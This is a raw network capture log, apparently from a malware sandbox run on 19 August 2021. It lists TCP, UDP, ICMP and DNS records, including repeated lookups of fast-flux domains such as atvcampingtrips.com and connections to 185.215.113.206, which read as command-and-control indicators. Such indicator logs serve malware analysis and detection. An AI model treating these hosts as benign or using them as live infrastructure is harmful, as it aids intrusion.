Aug 19, 2021 07:54:06.826677084 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.826702118 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.826709986 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.826719999 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.826728106 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.826828957 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:06.826999903 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.827013016 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.827322960 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.827337980 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.883387089 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.883414984 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:06.883426905 CEST	80	49763	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:10.522449970 CEST	49762	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.522480011 CEST	49763	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.644946098 CEST	49764	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.708028078 CEST	80	49764	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:10.708200932 CEST	49764	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.842099905 CEST	49764	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.870436907 CEST	80	49764	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:10.870577097 CEST	49764	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.878768921 CEST	49764	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.882349014 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.942507029 CEST	80	49764	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:10.942642927 CEST	80	49764	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:10.945389986 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:10.945662022 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:10.946506023 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.007960081 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.018650055 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.019153118 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.019314051 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.023718119 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.089840889 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.089874029 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.089895010 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.089912891 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.090023994 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.090126038 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.090186119 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.090912104 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.148664951 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.148745060 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.148802042 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.148883104 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.149049997 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.149257898 CEST	49766	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.153616905 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.153693914 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.153748989 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.153795958 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.153820992 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.153839111 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.153888941 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.153970003 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.154036045 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.205379963 CEST	80	49766	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215598106 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215635061 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215651035 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215660095 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215670109 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215684891 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215781927 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.215867043 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.215881109 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.216028929 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.216582060 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.216918945 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.259404898 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.278702021 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.278734922 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.278753996 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.278770924 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.278788090 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.278805971 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.315871954 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.316004038 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.316595078 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.350128889 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.373939991 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.416599035 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.416692972 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.419197083 CEST	49765	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:11.480022907 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:11.480192900 CEST	80	49765	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:22.315851927 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:22.318509102 CEST	49767	80	192.168.2.7	185.215.113.206
Aug 19, 2021 07:54:22.323610067 CEST	80	49767	185.215.113.206	192.168.2.7
Aug 19, 2021 07:54:22.323970079 CEST	49767	80	192.168.2.7	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 19, 2021 07:52:02.139584064 CEST	58562	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:52:02.172313929 CEST	53	58562	8.8.8.8	192.168.2.7
Aug 19, 2021 07:52:19.818471909 CEST	56590	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:52:19.851033926 CEST	53	56590	8.8.8.8	192.168.2.7
Aug 19, 2021 07:52:34.543528080 CEST	60501	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:52:34.592346907 CEST	53	60501	8.8.8.8	192.168.2.7
Aug 19, 2021 07:52:58.137881041 CEST	53775	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:52:58.172576904 CEST	53	53775	8.8.8.8	192.168.2.7
Aug 19, 2021 07:52:58.188993931 CEST	51837	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:52:59.626693964 CEST	51837	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:00.672624111 CEST	51837	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:01.620253086 CEST	55411	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:01.658409119 CEST	53	55411	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:02.168360949 CEST	63668	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:02.204338074 CEST	53	63668	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:02.353162050 CEST	53	51837	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:02.385890007 CEST	54640	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:02.855343103 CEST	53	54640	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:03.020096064 CEST	58739	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:03.053890944 CEST	53	58739	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:03.442827940 CEST	60338	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:03.476876974 CEST	53	60338	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:03.666435957 CEST	53	51837	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:04.062225103 CEST	58717	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:04.095997095 CEST	53	58717	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:04.218564987 CEST	59762	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:04.243846893 CEST	53	59762	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:04.579524994 CEST	54329	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:04.616451979 CEST	53	54329	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:04.716727972 CEST	53	51837	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:05.210617065 CEST	58052	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:05.246479034 CEST	53	58052	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:05.971724033 CEST	54008	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:06.005208015 CEST	53	54008	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:06.786807060 CEST	59451	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:06.831361055 CEST	53	59451	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:07.020654917 CEST	52914	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:07.046859026 CEST	64569	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:07.048804045 CEST	53	52914	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:07.262461901 CEST	53	64569	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:07.658868074 CEST	52816	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:07.691663980 CEST	53	52816	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:08.765666962 CEST	50781	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:08.799905062 CEST	53	50781	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:09.057187080 CEST	54230	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:09.091101885 CEST	53	54230	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:10.116430998 CEST	54911	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:10.149158955 CEST	53	54911	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:11.627701998 CEST	49958	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:11.655626059 CEST	53	49958	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:11.888731003 CEST	50860	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:11.921117067 CEST	53	50860	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:13.376205921 CEST	50452	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:13.402523994 CEST	53	50452	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:15.765070915 CEST	59730	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:15.798985004 CEST	53	59730	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:34.915952921 CEST	59310	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:34.940872908 CEST	53	59310	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:35.150125980 CEST	51919	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:35.177560091 CEST	53	51919	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:35.496938944 CEST	64296	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:35.529707909 CEST	53	64296	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:35.779937983 CEST	56680	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:35.805682898 CEST	53	56680	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:36.073940992 CEST	58820	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:36.109738111 CEST	53	58820	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:37.541095972 CEST	60983	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:37.574498892 CEST	53	60983	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:37.824441910 CEST	49247	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:37.857215881 CEST	53	49247	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:38.500703096 CEST	52286	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:38.533412933 CEST	53	52286	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:38.552330017 CEST	56064	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:38.588766098 CEST	53	56064	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:43.005120039 CEST	63744	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:43.038489103 CEST	53	63744	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:43.279711962 CEST	61457	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:43.314250946 CEST	53	61457	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:43.533482075 CEST	58367	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:43.564177036 CEST	53	58367	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:43.920917034 CEST	60599	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:43.948513985 CEST	53	60599	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:45.476592064 CEST	59571	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:45.512516975 CEST	53	59571	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:45.788778067 CEST	52689	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:45.821352005 CEST	53	52689	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:46.100745916 CEST	50290	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:46.136620045 CEST	53	50290	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:47.378355026 CEST	60427	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:47.407993078 CEST	53	60427	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:49.057452917 CEST	56209	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:49.092173100 CEST	53	56209	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:49.393476963 CEST	59582	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:49.429383993 CEST	53	59582	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:50.187022924 CEST	60949	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:50.222157001 CEST	53	60949	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:52.891091108 CEST	58542	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:52.924598932 CEST	53	58542	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:52.933612108 CEST	59179	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:52.966406107 CEST	53	59179	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:53.222345114 CEST	60927	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:53.254822969 CEST	53	60927	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:54.781132936 CEST	57854	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:54.876378059 CEST	53	57854	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:56.610723972 CEST	62026	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:56.643225908 CEST	53	62026	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:58.143304110 CEST	59453	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:58.168230057 CEST	53	59453	8.8.8.8	192.168.2.7
Aug 19, 2021 07:53:59.753247023 CEST	62468	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:53:59.780603886 CEST	53	62468	8.8.8.8	192.168.2.7
Aug 19, 2021 07:54:20.937936068 CEST	52563	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:54:20.977907896 CEST	53	52563	8.8.8.8	192.168.2.7
Aug 19, 2021 07:54:26.335357904 CEST	54721	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:54:26.371706963 CEST	53	54721	8.8.8.8	192.168.2.7
Aug 19, 2021 07:54:26.374824047 CEST	62826	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:54:26.408123016 CEST	53	62826	8.8.8.8	192.168.2.7
Aug 19, 2021 07:54:28.758960962 CEST	62046	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:54:28.792363882 CEST	53	62046	8.8.8.8	192.168.2.7
Aug 19, 2021 07:54:28.798861980 CEST	51223	53	192.168.2.7	8.8.8.8
Aug 19, 2021 07:54:28.833000898 CEST	53	51223	8.8.8.8	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 19, 2021 07:53:03.666552067 CEST	192.168.2.7	8.8.8.8	cff4	(Port unreachable)	Destination Unreachable
Aug 19, 2021 07:53:04.716873884 CEST	192.168.2.7	8.8.8.8	cff4	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 19, 2021 07:52:58.137881041 CEST	192.168.2.7	8.8.8.8	0xfb57	Standard query (0)	aucmoney.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:52:58.188993931 CEST	192.168.2.7	8.8.8.8	0x3ef1	Standard query (0)	thegymmum.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:52:59.626693964 CEST	192.168.2.7	8.8.8.8	0x3ef1	Standard query (0)	thegymmum.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:00.672624111 CEST	192.168.2.7	8.8.8.8	0x3ef1	Standard query (0)	thegymmum.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.385890007 CEST	192.168.2.7	8.8.8.8	0xded5	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.786807060 CEST	192.168.2.7	8.8.8.8	0x15ed	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:07.046859026 CEST	192.168.2.7	8.8.8.8	0x1461	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:08.765666962 CEST	192.168.2.7	8.8.8.8	0xc9d1	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:09.057187080 CEST	192.168.2.7	8.8.8.8	0x14b6	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:10.116430998 CEST	192.168.2.7	8.8.8.8	0x50c8	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.627701998 CEST	192.168.2.7	8.8.8.8	0x57cf	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:11.888731003 CEST	192.168.2.7	8.8.8.8	0x67d4	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:13.376205921 CEST	192.168.2.7	8.8.8.8	0x2b7	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:34.915952921 CEST	192.168.2.7	8.8.8.8	0x7c5b	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.150125980 CEST	192.168.2.7	8.8.8.8	0x81e	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.496938944 CEST	192.168.2.7	8.8.8.8	0x770a	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:35.779937983 CEST	192.168.2.7	8.8.8.8	0x198f	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:36.073940992 CEST	192.168.2.7	8.8.8.8	0x1588	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.541095972 CEST	192.168.2.7	8.8.8.8	0x1fc8	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:37.824441910 CEST	192.168.2.7	8.8.8.8	0x7d65	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:38.500703096 CEST	192.168.2.7	8.8.8.8	0x713d	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:38.552330017 CEST	192.168.2.7	8.8.8.8	0xeb18	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.005120039 CEST	192.168.2.7	8.8.8.8	0xa39f	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.279711962 CEST	192.168.2.7	8.8.8.8	0x1623	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.533482075 CEST	192.168.2.7	8.8.8.8	0x1c14	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:43.920917034 CEST	192.168.2.7	8.8.8.8	0x8dcc	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.476592064 CEST	192.168.2.7	8.8.8.8	0x4388	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:45.788778067 CEST	192.168.2.7	8.8.8.8	0x490e	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:47.378355026 CEST	192.168.2.7	8.8.8.8	0x3e8e	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.057452917 CEST	192.168.2.7	8.8.8.8	0x45a1	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:49.393476963 CEST	192.168.2.7	8.8.8.8	0xee04	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:50.187022924 CEST	192.168.2.7	8.8.8.8	0x6e44	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:52.933612108 CEST	192.168.2.7	8.8.8.8	0xe800	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:53.222345114 CEST	192.168.2.7	8.8.8.8	0x78ea	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:54.781132936 CEST	192.168.2.7	8.8.8.8	0xa5df	Standard query (0)	ng.hiterima.ru	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:56.610723972 CEST	192.168.2.7	8.8.8.8	0x4905	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:58.143304110 CEST	192.168.2.7	8.8.8.8	0x1487	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:59.753247023 CEST	192.168.2.7	8.8.8.8	0xb8b7	Standard query (0)	atvcampingtrips.com	A (IP address)	IN (0x0001)
Aug 19, 2021 07:54:20.937936068 CEST	192.168.2.7	8.8.8.8	0xb57	Standard query (0)	gophamanapr.site	A (IP address)	IN (0x0001)
Aug 19, 2021 07:54:26.335357904 CEST	192.168.2.7	8.8.8.8	0x97e2	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 19, 2021 07:54:26.374824047 CEST	192.168.2.7	8.8.8.8	0x8151	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 19, 2021 07:54:28.758960962 CEST	192.168.2.7	8.8.8.8	0x47a4	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)
Aug 19, 2021 07:54:28.798861980 CEST	192.168.2.7	8.8.8.8	0x73c6	Standard query (0)	api.ip.sb	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 19, 2021 07:52:58.172576904 CEST	8.8.8.8	192.168.2.7	0xfb57	Server failure (2)	aucmoney.com	none	none	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.353162050 CEST	8.8.8.8	192.168.2.7	0x3ef1	Server failure (2)	thegymmum.com	none	none	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		181.129.180.251	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		218.51.156.7	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:02.855343103 CEST	8.8.8.8	192.168.2.7	0xded5	No error (0)	atvcampingtrips.com		94.49.36.0	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:03.666435957 CEST	8.8.8.8	192.168.2.7	0x3ef1	Server failure (2)	thegymmum.com	none	none	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:04.716727972 CEST	8.8.8.8	192.168.2.7	0x3ef1	Server failure (2)	thegymmum.com	none	none	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		94.190.187.102	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		211.170.70.237	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		183.78.205.92	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		175.120.254.9	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		31.167.248.197	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		211.59.14.90	A (IP address)	IN (0x0001)
Aug 19, 2021 07:53:06.831361055 CEST	8.8.8.8	192.168.2.7	0x15ed	No error (0)	atvcampingtrips.com		210.207.244.101	A (IP address)	IN (0x0001)
